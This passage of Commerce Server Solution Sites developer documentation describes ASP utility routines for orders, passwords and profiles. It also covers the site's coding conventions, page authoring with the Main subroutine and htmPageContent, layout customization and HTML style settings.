This function returns the friendly, localizable version of the payment method identifier as a string.

services\include\order_handlers.asp

The following customer and partner services utility routines are related to handling orders, and are defined in this file:

CloseOrderDetailsActionHandler
This sub handles the "close order details" action.
htmOrderDetailsActionHandler
This function provides rendering for the "Order details" action handler.
htmRenderOrderDetailsForIDs
This function redirects the user back to the order list page, because multiple orders cannot be viewed at once.
PrepareCloseOrderDetailsAction
This sub prepares for the call to the sub CloseOrderDetailsActionHandler by initializing the values of the passed parameters.
PrepareOrderDetailsAction
This sub prepares for the call to the function htmOrderDetailsActionHandler by initializing the value of the iProfileCount parameter.
RedirectOrderDetailsForIDs
This sub is used to redirect the user to a page from which they can choose which order to retrieve details for.

services\include\render_orders.asp

The following customer and partner services utility routines are related to preparing password-related content for rendering, and are defined in this file:

arrPopulateOrderHeaderDetails
This function populates an array with the details of an order in preparation for rendering.
formRenderOrderContents
This function prepares the HTML that will render an order details form.
formRenderOrderSearchOptions
This function prepares the HTML that will render either a simple or advanced order searching form, based on the value of the sCriteria parameter.
formRenderOrdersListContents
This function prepares the HTML that will render an orders list form.
htmRenderOrderDetails
This function renders the order details.
htmRenderOrderList
This function renders the order list.
rowRenderAdvancedSearchOptionsForOrders
This function prepares the HTML that will render advanced search options within the orders form in Partner Services.
rowRenderLineItemHeader
This function prepares the HTML that will render the header row for a table of line items in an order.
rowRenderListHeadingForOrders
This function prepares the HTML that will render the header row for a table of orders.
rowRenderSimpleSearchOptionsForOrders
This function prepares the HTML that will render simple search options within the orders form in Partner Services.
sRenderAddress
This function renders an address dictionary.
tableRenderOrdersListContents
This function renders a table of orders, including hidden fields containing the order number for each record.
tableRenderOrdersListTasks
This function renders a toolbar containing tasks that can be performed on an order in the list. By default, this will show a button displaying the text stored in the MessageManager L_ORDERDETAILS_ACTION_BUTTON message and allows the user to see order details.
tblOrderDetailsTasks
This function renders a CANCEL_ACTION button for use in rendering the order details, and is used when the user wants to close the displayed page.
tblRenderOrderDetailsContents
This function displays order header and line items in an table format.

services\include\requisition.asp

The following customer and partner services utility routines are related to order processing, and are defined in this file:

rsGetOrderDetails
This function retrieves the detailed information for the specified order and returns the result as a Recordset object.
rsGetOrdersList
This function retrieves orders based on the specified filter criteria and returns the result as a Recordset object.


Services Password Routines

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

services\include\password_handlers.asp

The following customer and partner services utility routines are related to handling changes to passwords, and are defined in this file:

ChangeActionHandler
This function handles the "change password" action.
htmCancelUpdatePasswordAction
This function cancels the update of the user_security_password property of the user.
UpdatePasswordActionHandler
This function saves the user_security_password property for the user.

services\include\render_password.asp

The following customer and partner services utility routines are related to preparing password-related content for rendering, and are defined in this file:

formRenderChangePasswordPageContents
This function prepares the HTML that will render the change password form.
htmRenderChangePasswordPage
This function renders the change password page.
tableChangePasswordTasks
This function renders Save and Close buttons with their appropriate text messages wrapped in a table.
tableRenderChangePasswordContents
This function renders the Password Change edit page.


Services Profile Routines

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

services\include\check_profile.asp

The following customer and partner services utility routines are related to checking profiles, and are defined in this file:

bCheckIfProfileExists
This function determines whether a specific user profile already exists.
bIsPropertyValueAdded
This function determines if any property values were added in the edit page.
bProfileHasChanged
This function checks whether the posted values for a profile are different than the values for the profile in the Profile store.

services\include\delete_profiles.asp

The following customer and partner services utility routines are related to deleting profiles, and are defined in this file:

DeleteAllProfiles
This sub deletes all the selected profiles. It also deletes all the profiles returned by the search criteria in the corresponding list page.
DeleteRegisteredUser
This sub deletes a specific registered user profile.
DeleteSelectedProfiles
This sub deletes all the selected profiles.
DeleteSingleProfile
This sub deletes the specified profile.
sGetWhereClauseForCurrentUser
This function gets the WHERE clause for the current user.

services\include\get_profiles.asp

The following customer and partner services utility routines are related to retrieving profiles, and are defined in this file:

GetAttributeValueFromProfile
This function retrieves a property value from a profile.
GetOrgAttributeFromID
This function returns the value of the specified property for an Organization profile.
GetUserPropertyFromID
This function returns the value of a property from the profile of a user.
rsGetOrgDetails
This function retrieves detailed information about the specified organization and returns the result as a Recordset object.
rsGetProfileDetails
This function retrieves detailed information about the specified user or organization profile and returns the result as a Recordset object. It serves as a dispatch function for the functions rsGetOrgDetails and rsGetUserDetails, which do the real work.
rsGetProfilesList
This function retrieves a set of user profiles based on the specified filter criteria, returning the result as a Recordset object.
rsGetUserDetails
This function retrieves the profile for the specified user, and returns the results in a Recordset object.
sGetUserFullName
This function gets the full name (last name + first name) of the user.
sGetUserLoginName
This function gets the login name of a user.

services\include\profiles_common.asp

The following customer and partner services utility routines are related to common profile processing, and are defined in this file:

GetODBCTimeStamp
This function converts a date variant to an Open Database Connectivity (ODBC) timestamp format { ts 'yyyy-mm-dd hh:mm:ss' }.
GetTableNameAndWhereClause
This sub gets the database table name and uses a WHERE clause to search for a given organization ID.
HandleSingleQuote
This function replaces a single quote with a double quote for processing profiles.
sAddCriteriaToQuery
This function builds a Transact-SQL statement.
sAddEndDate
This function adds an End Date clause.
sAddSetClause
This function adds a Set clause.
sAddSQLNumber
This function adds an AND clause for a property of type Number.
sAddSQLString
This function adds an AND "property LIKE value" clause for a property of type String.
sAddStartDate
This function adds a Start Date clause.
sConstructWHEREclause
This function constructs a WHERE clause.

services\include\save_all_profiles.asp

The following customer and partner services utility routines are related to saving all profiles, and are defined in this file:

AddSetClauseAndUpdateUserAccountControl
This function updates the PartnerDeskRole property in the profile of the user.
GetUserAccountControl
This function determines whether to update the User Account Status and User Partner Desk Role properties.
sAddWhereClauseForActiveUsers
This function adds an AND or WHERE "USER_STATUS = ACCOUNT_ACTIVE" clause.
sAddWhereClauseForPartnerRole
This function adds an AND or WHERE "FIELD_USER_PARTNERDESK_ROLE = iPartnerDeskRole" clause.
SaveAllSelectedProfiles
This sub saves all selected profiles.
UpdateUserAccountControlProperty
This function updates the user_account_control property of the profile based on the iPartnerDeskRole and dictSearchOptions parameters.

services\include\save_one_profile.asp

The following customer and partner services utility routines are related to saving a single profile, and are defined in this file:

bHandlePaintingACLsForUsersInAD
This function handles painting of appropriate access control lists (ACLs) for users in Active Directory (adding the users to/from the appropriate Active Directory groups, for example, ADMINGROUP or USERGROUP).
bInsertProfile
This function validates the login name and password of a user and, if successful, creates a new profile.
bInsertProfileDetails
This function inserts property values into an empty profile.
bInsertProperty
This function checks whether the specified property is supported for the user and, if so, adds it to the profile.
bSaveProfileAndRedirect
This function updates the profile properties and redirects the delegated administrator to the services\partner\users.asp page.
bSaveProfileDetails
This function saves the value of each property in the profile. If this is a user profile and Active Directory is used, the access control lists (ACL) are updated.
bSaveProperty
This function saves the specified property.
bSaveReadWriteProperty
This function saves a read/write property.
GetActiveUsersOnly
This function examines the semicolon-separated list of user profile IDs, and returns a similar list containing only those user profile IDs that correspond to users that have an account status of ACCOUNT_ACTIVE.
InsertHiddenProperty
This sub copies particular, hidden properties from the current user profile to the specified profile Recordset object. Currently, only the organization ID of the user can be copied.
SaveCommonValueForAllSelectedRecords
This sub saves a common value to all the selected records.
SaveProfileProperty
This sub saves a property value in a profile.
SaveReadOnlyProperty
This sub saves any read-only property.
SaveSAMAccountNameProperty
This sub saves the SAMAccountName property.
SaveUserAccountControlProperty
This sub saves the User Account Control property (Active Directory specific).
SaveUserParentDNProperty
This sub saves the User ParentDN property (Active Directory specific).
SaveUserPartnerDeskRoleProperty
This sub saves the User Partner Desk Role property.
SaveUserPropertyForID
This sub saves the User property for a user ID.
sGetAdminsOnly
This function determines which users specified by the input parameter sProfileIDs are administrators (for example, the FIELD_USER_PARTNERDESK_ROLE is specified as ROLE_ADMIN) and returns a string that contains the profile IDs of those administrators.
sGetUsersOnly
This function determines which users specified by the input parameter sProfileIDs are users (for example, do not have an admin profile) and returns a string that contains the profile IDs of those users.
UpdateSelectActionPropertyName
This function updates properties changed by the user. The fields associated with the selected properties are updated, as well as the "changed by" and "date updated" values.
UpdateUserPasswordProperty
This sub updates the user password property depending on the current user type (DELEGATED_ADMIN or USER).


Site Development Using Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

Although all of the Commerce Server Solution Sites documentation ultimately concerns site development, the topics in this section are oriented toward starting with the existing Solution Sites and modifying them to suit your own business needs.

This section contains:

  • Coding Conventions for Solution Sites. Describes the coding conventions used in the Solution Sites.
  • Page Authoring for Solution Sites. Describes what you need to do to author new pages in a manner consistent with the existing pages.
  • Page Layout Customization for Solution Sites. Describes how to customize the layout of existing and new pages.
  • About Customizing HTML Styles for your Solution Site. Describes the HTML styles used to customize the Solution Sites.
  • Debugging Resources. Describes where to find information about how to debug Active Server Pages (ASP) applications.
  • Optimizing Tools and Techniques. Describes how to optimize the performance of the Solution Sites.


Coding Conventions for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

Variables and file names in the code for the Solution Sites are named using common conventions. All variables in the code for the Solution Sites can be identified by their prefix. The prefixes used in naming local variables, framework variables, dictionary variables, and file names are defined in the following tables.

Local Variables

Framework Variables

Dictionary Variables

File Name Prefixes

Local Variables

The following table lists the base types used in naming local variables in the code for the Solution Sites.

Prefix | Description
arr | Signifies an array
b | Signifies a boolean
f | Signifies a flag
htm | Signifies an HTML string
i | Signifies an integer
list | Signifies a SimpleList
o | Signifies an object
s | Signifies a non-HTML string

Framework Variables

The following table lists the prefixes used to name framework variables in the code for the Solution Sites.

Prefix | Description
MSCS | Initialized with values from application scope variables.
mscs | Signifies that the variable holds page-scope objects.
m_ | Signifies that the variable holds private page-scope values.

Dictionary Variables

The following table lists the prefix used to name dictionary variables in the Solution Sites code.

Prefix | Description
dict | Signifies the variable is a dictionary variable.

File Name Prefixes

The following table lists the prefix used to name files in the Solution Sites code.

Prefix | Description
_ | Signifies that there is no user interface for the file. This convention only applies to files in the <site name> folder, and not to files in the <site name> subdirectories.


Page Authoring for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The Commerce Server Solution Sites implement Web site pages using a structured approach that uses the same page execution model for all pages. For more information about this page execution model, see Page Execution Model for Solution Sites. An adequate understanding of the page execution model is crucial to proper page authoring.

Page authoring consists of creating a page that includes the correct files in the correct order, and which then contains the implementation of a subroutine named Main. Ultimately, this subroutine has a single job to do: initialize particular variables to strings that contain the HTML that will produce the desired content areas when rendered. These variables include htmPageContent, htmDiscountBannerSlot, and any variables defined for new custom content areas. The topics in this section provide additional information about this page-authoring scheme.

This section contains:

  • Including Files in Solution Sites
  • Implementing the Main Subroutine for Solution Sites
  • Implementing Support Routines for Solution Sites
  • Controlling Access to Solution Site Pages
  • Initializing the htmPageContent Variable

See Also

Page Execution Model for Solution Sites


Including Files in Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The first step in authoring a new Web page for your site consists of including the appropriate files in the correct order.

Files should be included using the following inclusion directive:

<!-- #INCLUDE FILE="include/filename.asp" -->

The files to be included can be divided into the following six categories:

  1. Response header information and pipeline choice. You should include one of the two files include\header.asp or include\txheader.asp, but not both. The only differences between them is that the file txheader.asp includes the transaction directive "TRANSACTION=REQUIRES_NEW", and they define the global string variable g_sPipelineProgID differently.

    The file txheader.asp defines the variable g_sPipelineProgID as "PooledTxPipeline" and the file header.asp defines it as "PooledPipeline", defining the use of a pooled pipeline with and without transactions, respectively. This variable is passed as the second parameter to the RunPipe method of the OrderGroup object in the file std_pipeline_lib.asp.

  2. Constant definitions, if any. The file include\const.asp is empty as delivered with the Solution Sites, and need not be included unless you add your own constant definitions to it that are used in the file being authored. The constants used by the existing routines in the Solution Sites are defined in the type library named appconsts.tlb. For more information, see Constants and Constants Reference.
  3. Utility routines. There are a number of include files that define utility routines in various functional categories. Depending on the functionality of the page you are authoring, you will probably end up including a fair number of the following files (the files shown in bold font are more likely to be included in every page you author):
include\addr_lib.asp | include\std_dates_lib.asp
include\analysis.asp | include\std_error_lib.asp
include\catalog.asp | include\std_ordergrp_lib.asp
include\form_lib.asp | include\std_pipeline_lib.asp
include\html_lib.asp | include\std_profile_lib.asp
include\payment.asp | include\std_string_lib.asp
include\std_access_lib.asp | include\std_url_lib.asp
include\std_cache_lib.asp | include\std_util_lib.asp
include\std_cookie_lib.asp |
The presence of these files and the large number of utility routines they provide highlight the importance of learning as much as possible about the functionality they provide. Otherwise, you could end up writing and debugging code that is already provided. For more information about the utility routines, see Utility Routines for Solution Sites and Routines Reference.
  1. Discount processing. The file template\discount.asp should be included if the page you are authoring is meant to display discount banners (as opposed to discounts displayed in the basket). If so, your page should include a line of code similar to the following, which uses the RenderDiscounts routine defined in the file template\discount.asp to initialize the variable htmDiscountBannerSlot defined in the file include\setupenv.asp.
    htmDiscountBannerSlot = RenderDiscounts(ProductAffinity, BasketAffinity, nDiscountsToShow)

    The HTML string contents of the variable htmDiscountBannerSlot are then "dumped" to the discount area of the standard page layout in the file template\layout1.asp.

  2. Variable definition and page processing. You must include the file include\setupenv.asp to use the page execution model employed by the Solution Sites. This file creates a large number of global variables, many of which are initialized to values that are stored in the Active Server Pages (ASP) Application object. Code in this file also provides basic functionality required on every page, such as user identification and host name correction. The code on the page ends by invoking a function named Main that serves as the entry point to the page-specific code that provides the HTML that gets rendered as the page you are authoring. For more information, see Implementing the Main Subroutine for Solution Sites.
  3. Page layout. The last file you should include in the page you are authoring should be one of the two files template\layout1.asp or template\no_menu.asp (but not both). The former provides the standard page layout provided with the Solution Sites and the latter provides the more minimal (no menus) layout used in some of the pages within the Solution Sites (for example, welcome.asp and login\login.asp). For more information about the page layouts provided with the Solution Sites, see Page Layout.

    You may determine that your site should use more than the two layouts included with the Solution Sites. In this case, you can develop one or more alternative layout pages, modeled on the files template\layout1.asp and template\no_menu.asp. You would then include an alternative layout page as the last include file on the page you are authoring.

See Also

Page Execution Model for Solution Sites


Implementing the Main Subroutine for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

Every page you author that uses the standard page execution model supported by the Solution Sites must implement a routine called Main (implemented as a sub rather than a function). This routine is called near the end of the processing in the file include\setupenv.asp. The routine Main has several responsibilities, as follows:

  • Initialize the variable htmPageContent, which is defined in the include\setupenv.asp file. This variable should be initialized to a string containing the HTML that you want rendered in the content area of the page you are authoring.
  • Where appropriate, initialize the variable htmDiscountBannerSlot, which is defined in the include\setupenv.asp file. This variable should be initialized to a string containing the HTML that you want rendered in the discount area of the page you are authoring.
  • Where appropriate, initialize any additional variables that have been defined to pass HTML content between the routine Main and a customized layout file.
  • Whatever other processing is appropriate for the page you are authoring, such as adding items to the basket, performing checkout processing, and so on.

For example, perhaps the simplest implementation of the routine Main looks something like this:

Sub Main
    htmPageContent = "This is the content area."
End Sub

Another example, which displays the same string in bold font, looks something like this:

Sub Main
    htmPageContent = "This is the content area."

    ' Function Bold from include\html_lib.asp
    htmPageContent = Bold(htmPageContent)
End Sub

Realistically, the routine Main will be much more complex, often involving calls to Commerce Server objects, and to the various utility routines that are available when the files in which they are implemented are included in the page you are authoring. It is important to familiarize yourself with both of these types of resources so that you do not spend unnecessary time re-writing functionality that already exists. Unfortunately, there is no effortless way to gain this familiarity other than by the careful reading of the supplied documentation and examination of the existing code for the Solution Sites.

There are numerous examples of Main routines throughout the pages of the Solution Sites. You should study a number of these to familiarize yourself with how the HTML content assigned to the variable htmPageContent is created in the pages that already exist.

See Also

Implementing Support Routines for Solution Sites

Page Execution Model for Solution Sites


Implementing Support Routines for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The code required to create the page content that is assigned to the variable htmPageContent is often complex enough that good coding practices dictate that you should divide it into multiple routines. The routine Main always serves as the entry point, called by the code in the file include\setupenv.asp. To keep the routine Main from becoming too large and unwieldy, you should often create additional routines that Main calls in the course of performing its job. By convention, these routines typically appear after the routine Main in the page being authored. There are many examples of this in the pages that are delivered with the Solution Sites.

The challenge will be to determine whether the functionality supplied by any supporting routines that you create are specific to the page being authored, or are possibly more general in nature. If they are of the former type, they should be implemented directly in the page being authored. If they are of the latter type, you should create a one or more include files to contain the new utility routines. (Avoid adding new routines to the existing include files so that it is easier to upgrade new releases of the existing files.)

Another challenge is to acquire an adequate understanding of the functionality supplied by the existing utility routines so that you do not spend unnecessary time re-implementing functionality that already exists.

See Also

Implementing the Main Subroutine for Solution Sites

Page Execution Model for Solution Sites


Controlling Access to Solution Site Pages

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

You may want to control access to some of the pages that you author. If so, you should call one of the two routines EnsureAuthAccess - Solution Sites Routine or EnsureAccess - Solution Sites Routines as the first processing performed in the routine Main. If the page you are authoring is meant to be viewable by any user on your site, regardless of whether they are classified as anonymous or authenticated, and you do not care about tracking these users, simply do not call either of these two routines.

The routine EnsureAuthAccess provides the most restrictive level of control for a page. When you call this routine, any users who are not authenticated are prohibited from viewing the page, and they are re-directed to the login page. In other words, only users who are authenticated to Internet Information Services (IIS) (using Basic/Integrated Windows authentication) or have an Auth ticket can get past this routine and view the page. Such users must be both registered and logged in.

The routine EnsureAccess provides a less restrictive level of control for a page. When you call this routine, any user who has not been identified is prohibited from viewing the page. In other words, only users who are authenticated to IIS (using Basic/Integrated Windows authentication) or have either an Auth ticket or a Profile ticket can get past this routine and view the page.

If anonymous users attempt to view a page protected by the routine EnsureAccess, and the site is not configured to require login, an attempt is made to issue them a Profile ticket. If this succeeds, they are allowed to view the page.

For more information about authentication of users and the login processing provided with the Solution Sites, see Page-Level Access Control for Solution Sites and About the Login Feature for Solution Sites, respectively.

See Also

About the User Tracking Feature for Solution Sites

Page-Level Access Control for Solution Sites

About the Login Feature for Solution Sites

Page Execution Model for Solution Sites

EnsureAccess - Solution Sites Routines

EnsureAuthAccess - Solution Sites Routine


Initializing the htmPageContent Variable

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

As mentioned in Implementing the Main Subroutine for Solution Sites and Page Execution Model for Solution Sites, one of the responsibilities of the Main routine in a particular page you are authoring is to establish the value of the variable htmPageContent prior to returning. Once the Main routine has returned, execution proceeds to the page layout code, which uses the value of the variable htmPageContent as the HTML to be rendered in the content area of the page.

Many of the utility routines that exist in the various include files are designed to help create the HTML tags that end up within the string assigned to the variable htmPageContent. One particularly basic set of such routines can be found in the file include\html_lib.asp.

The following example shows a function from the file include\html_lib.asp that wraps the string passed to it in tags that will cause it to be rendered in bold font:

Function Bold(ByVal s)
    Bold = "<B>" & s & "</B>"
End Function

Suppose you have already initialized the variable htmPageContent to contain the string "To be or not to be" that you want to display in the content area of the page, and that you want the string to be rendered in bold font. You could call the function Bold as follows:

htmPageContent = Bold(htmPageContent)

The resulting string is now "<B>To be or not to be</B>".

Another function in the file include\html_lib.asp, named PTag, can be used to wrap a string in paragraph tags. If the new value of the variable htmPageContent is passed to the PTag function, the new value would be "<P><B>To be or not to be</B></P>".

These very simple functions illustrate an important aspect of the design of the utility routines designed to help create the value stored in the variable htmPageContent, and which follows naturally from the nature of HTML markup itself: the construction of the HTML that gets stored as a string in the variable htmPageContent should begin from the innermost, simplest aspects of the page, and build toward the more complex constructs. This methodology makes heavy use of string concatenation, but does provide a higher-level programming approach, allowing you to change styles globally later. It also has the advantage of allowing content to be cached. For more information about caching content, see Caching Solution Sites.

Consider the following, simplified example, which uses three functions to build a table:

Function WrapTable(ByVal s)
    WrapTable = "<TABLE>" & s & "</TABLE>"
End Function

Function WrapRow(ByVal s)
    WrapRow = "<TR>" & s & "</TR>"
End Function

Function WrapCell(ByVal s)
    WrapCell = "<TD>" & s & "</TD>"
End Function

Given the following four string values, these functions can be used to build a 2-by-2 table as shown below:

Dim sRow1Col1, sRow1Col2, sRow2Col1, sRow2Col2, htmTemp1, htmTemp2
sRow1Col1 = "r1,c1"
sRow1Col2 = "r1,c2"
sRow2Col1 = "r2,c1"
sRow2Col2 = "r2,c2"

htmTemp1 = WrapCell(sRow1Col1) & WrapCell(sRow1Col2)
htmTemp1 = WrapRow(htmTemp1)
htmTemp2 = WrapCell(sRow2Col1) & WrapCell(sRow2Col2)
htmTemp2 = WrapRow(htmTemp2)
htmPageContent = htmTemp1 & htmTemp2
htmPageContent = WrapTable(htmPageContent)

This code will produce the following string:

<TABLE><TR><TD>r1,c1</TD><TD>r1,c2</TD></TR><TR><TD>r2,c2</TD><TD>r2,c2</TD></TR></TABLE>

This string will render as follows:

r1,c1 | r1,c2
r2,c2 | r2,c2

For purposes of illustration, this example is simpler than the actual table building routines in the file include\html_lib.asp (RenderTable, RenderTableDataRow, and RenderTableHeaderRow), which are designed such that the data and the formatting attributes for the cells in a table are passed in the form of arrays, avoiding the need to explicitly wrap each cell in TD tags as shown in this example. Nevertheless, the example does show how the string value assigned to the variable htmPageContent is built from the inside out.

Reviewing the provided utility routines will give you an understanding of the functionality provided. The existing pages show how these utility routines are used to build the HTML content that is assigned to the variable htmPageContent in the various functions named Main, and then displayed in the content area in one of the two layout files template\layout1.asp or template\no_menu.asp (or in another layout file of your own design).

See Also

Implementing the Main Subroutine for Solution Sites

Page Execution Model for Solution Sites


Page Layout Customization for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The page execution model for the Commerce Server Solution Sites separates the content displayed on a page from the layout of that content. For a thorough explanation of this execution model, see Page Execution Model for Solution Sites.

As delivered, the Commerce Server Solution Sites provide two different page layout files: template\layout1.asp and template\no_menu.asp. The no_menu.asp file does not incorporate the menu portion of the page, as constructed by the include file template\menu.asp. It also does not incorporate the areas reserved for discounts and a footer that are found in the file template\layout1.asp. For more information about how these two layout pages divide the rendered page into different areas, and where the content for those areas comes from, see Page Layout for Solution Sites.

In order to maintain the separation of content and high-level page layout employed by the Solution Sites, you must understand and conform to the existing mechanisms. There are three ways in which the layout of Web site pages can be changed, the first two concern the high-level layout of the relative positions of the main areas of the page; the third concerns the layout of the content within a given area of the page.

This section contains:

  • Changing the Layout of Existing Solution Site Pages
  • Creating New Content Sources for your Solution Site
  • Adding New Pages to your Solution Site using a Different Layout
  • Changing the Layout Within a Single Page Area for your Solution Site


Changing the Layout of Existing Solution Site Pages

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The easiest way to change the high-level page layout for existing pages is to modify one of the two files template\layout1.asp or template\no_menu.asp, as appropriate for the set of pages you want to change. You must continue to use the existing include files and content variables to populate the existing areas of the page, but you can alter the relative positions of those areas, remove one or more existing areas, or add new areas of your own design.

The HTML code used within the layout pages consists of HTML markup directives, a discussion of the details of which is beyond the scope of this document.

If you add new areas to the page, you will need to choose the type of the content source to associate with those new areas. You must decide between using a new include file or a new content variable to supply the content. For more information, see Creating New Content Sources for your Solution Site.

See Also

Page Layout for Solution Sites

Page Execution Model for Solution Sites


Creating New Content Sources for your Solution Site

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

If you add new areas to the page, or want to change the content source of one or more existing areas, you will need to choose the type of the content source to associate with those areas. The choice between an include file and a content variable is largely dependent on how custom the content in the new area needs to be, from page to page. If it is not different on each page, the include file approach is best because you can avoid modifying every page in the site that uses that layout design. You can also use a content variable that is initialized somewhere in the code that already gets executed for every page. For more information about where such code would need to be added, see Standard Execution Flow for Solution Sites.

If the content in the new area needs to be quite different for every page being rendered, the best approach may be to define a new content variable and use it in a fashion similar to the variable htmPageContent. The variable can be defined in the file include\setupenv.asp, and initialized somewhere within the routine Main in each page that is using the modified layout.

See Also

Page Layout for Solution Sites

Page Execution Model for Solution Sites

Changing the Layout of Existing Solution Site Pages

Adding New Pages to your Solution Site using a Different Layout


Adding New Pages to your Solution Site using a Different Layout

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

If you add new pages to your site for which you want a different high-level layout, in addition to the two existing page layouts, you should author a new layout page to be included in the new pages being authored. To preserve the existing page execution model of the Solution Sites, model the new layout page on the existing layout pages template\layout1.asp and template\no_menu.asp, and then use the new layout page as the last included file in the new pages being added to the site.

You may or may not use the same set of include files and content variables that are used by the existing layout pages, or you may use some subset of those content sources. If you have areas in the new page layout for which the content comes from a new source, you will need to decide how to implement that new source. For more information about creating new content sources, see Creating New Content Sources for your Solution Site.

See Also

Page Layout for Solution Sites

Page Execution Model for Solution Sites


Changing the Layout Within a Single Page Area for your Solution Site

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

Another aspect of page layout occurs at a lower level, within each of the content areas defined in the files template\layout1.asp and template\no_menu.asp. Changing layout at this lower level consists of changing the HTML code that comes from one or more of the content sources. The layout with the content area controlled by the string assigned to the variable htmPageContent is an obvious example of changing low-level layout. Since the content area is one of the large areas of the page, it is normal to expect its layout to vary more from page to page. Indeed, the content area being different is, to a large extent, what makes one page different from another. Therefore, changing the code that creates the contents of the variable htmPageContent for a particular page might only change the content area for that one page. Whether your code changes affect content on more than one page is largely dependent on where you make the changes. If your changes are in the routine Main or its supporting routines in the page file itself, only that page will be affected. If your changes are made to one or more of the utility routines in the files that are included in multiple pages, every page that includes any of the modified files will be affected.

A more interesting aspect of low-level layout changes concerns the areas of the page other than the content area associated with the variable htmPageContent. If you make changes in the HTML produced within one or more of the files included in either the template\layout1.asp or the template\no_menu.asp files, those changes will be seen throughout your site on whatever pages incorporate those files through the layout page that they include. The files in this category, as delivered in the Solution Sites, are:

  • template\banner.inc (included in layout1.asp and no_menu.asp)
  • template\navbar.inc (included in layout1.asp)
  • template\menu.asp (included in layout1.asp)
  • template\footer.inc (included in layout1.asp)

The other file that produces HTML content is the file template\discount.asp. The HTML produced by the script in the file discount.asp is passed back to the file template\layout1.asp using the variable htmDiscountBannerSlot. The entry point in this file is the RenderDiscounts routine. This routine is only called in the two files basket.asp and product.asp.

All other pages in the site do not display the discounts area, for one of two reasons. First, they might include the alternative layout file template\no_menu.asp, which does not include the contents of the variable htmDiscountBannerSlot in the content it produces. Second, the variable htmDiscountBannerSlot might remain initialized to the empty string because a call to the routine RenderDiscounts is never made.

See Also

Page Layout Variables for Solution Sites

Page Layout for Solution Sites

Page Execution Model for Solution Sites


About Customizing HTML Styles for your Solution Site

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The style mechanism in the Solution Sites provides most of the advantages of Cascading Style Sheets (CSS) without requiring a browser that supports CSS. The main advantage of this approach is that it provides central management of the appearance of the site. The Solution Sites will work with any browser that supports HTML 3.2. This provides compatibility with a number of older browsers, maximizing the number of potential customers. If this level of compatibility is not an issue for you, you can change these styles to specify client-side CSS styles.

All of the HTML styles used in the Solution Sites are stored in a Dictionary object that is created and initialized by two functions. These functions are GetSiteStyles and AddPartnerAndCustomerServiceStyles. During application initialization, the Main function in the global.asa file, which is contained in the file global_main_lib.asp, calls the GetSiteStyles function to create the MSCSSiteStyle dictionary. The GetSiteStyles function sets the basic styles, and then calls the AddPartnerAndCustomerServiceStyles function to add the styles used in the Partner and Customer services. As shipped, the service-related styles are only used in the Partner and Customer services; however, they are available throughout the application.

Since the MSCSSiteStyle dictionary is an application variable, using any of the styles is straightforward. The following example sets the Title font style on the text "Title".

   "<FONT" & MSCSSiteStyle.Title & ">" & "Title" & "</FONT>"

Occasionally the Solution Sites use styles in just this way; however, in most cases the styles are inserted into HTML fragments in a wrapper function. These functions are contained in the include\html_lib.asp file. This makes it easier to use the styles and makes it possible to apply styles to an HTML fragment returned by another function. For example, the following code uses the RenderText function to add a style to text returned by the MessageManager object:

htmTitle = RenderText( _
   mscsMessageManager.GetMessage("L_AdvancedSearch_HTMLTitle", sLanguage), _
   MSCSSiteStyle.Title) & CRLF

The MessageManager object is used throughout the Solution Sites to provide multiple language support. See Internationalization Features for more information about multiple language support.

You can customize the styles that are included with the Solution Sites.

This section contains:

  • Customizing Styles


Customizing Styles

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

There are several ways to customize the appearance of your site. You can apply different styles in the code; for example, you could replace a BorderedTable style with a BorderlessTable style in a particular routine or ASP page. This only changes this one location. You can customize the value of the style; for example, you could change the width of the border in the BorderedTable style to "2". This would change the look of every table that uses that style. It is a good idea to know where a style is used before customizing it. Styles are used in utility functions as well as display pages, and can be used anywhere in your application. You can search the application files for the string "mscssitestyle.<stylename>" using the Find in Files search functionality to locate all occurrences of a particular style.

Before customizing a style, you must be certain that the syntax for that style will be correct wherever it is used. The wrapper functions in the include\html_lib.asp file insert the style into the HTML fragment without any error checking.

The following topics list the styles in the MSCSSiteStyle dictionary:

  • GetSiteStyles
  • AddPartnerAndCustomerServiceStyles

GetSiteStyles

The GetSiteStyles function sets the following styles:

Table Styles

Attributes: ALIGN, WIDTH, BORDER, CELLSPACING, CELLPADDING

BorderlessTable = " BORDER='0'"

BorderedTable = " BORDER='1' CELLSPACING='0' CELLPADDING='5'"

AddressTable = " BORDER='1' CELLSPACING='2' CELLPADDING='5'"

Form = " BORDER='0' CELLSPACING='10'"

MenuTable = " BORDER='0' CELLSPACING='10'"

NoBorderTable = " BORDER='0'"

BasketTable = " BORDER='1' CELLSPACING='0' CELLPADDING='1'"

Table Row (tr) Styles

Attributes: ALIGN, VALIGN

TRLeft = " ALIGN='Left'"

TRCenter = " ALIGN='Center'"

TRRight = " ALIGN='Right'"

TRTop = " VALIGN='Top'"

TRMiddle = " VALIGN='Middle'"

TRBottom = " VALIGN='Bottom'"

Table Heading and Data (th/td) Styles

Attributes: NOWRAP, ROWSPAN, COLSPAN, WIDTH, HEIGHT, ALIGN, VALIGN,

TDLeft = " ALIGN='Left'"

TDCenter = " ALIGN='Center'"

TDRight = " ALIGN='Right'"

Font Styles

Attributes: SIZE, COLOR

SiteName = " SIZE='+3'"

Title = " SIZE='+1'"

MenuHead = ""

MenuBody = ""

BasketHeader = ""

BasketData = ""

Body = ""

Warning = " COLOR='Red'"

Tip = " COLOR='Red'"

Currency Styles

BaseCurrency = ""

AltCurrency = " COLOR='Red'"

Input Styles

TextBox = ""

PasswordBox = ""

CheckBox = ""

RadioButton = ""

Button = ""

Link = ""

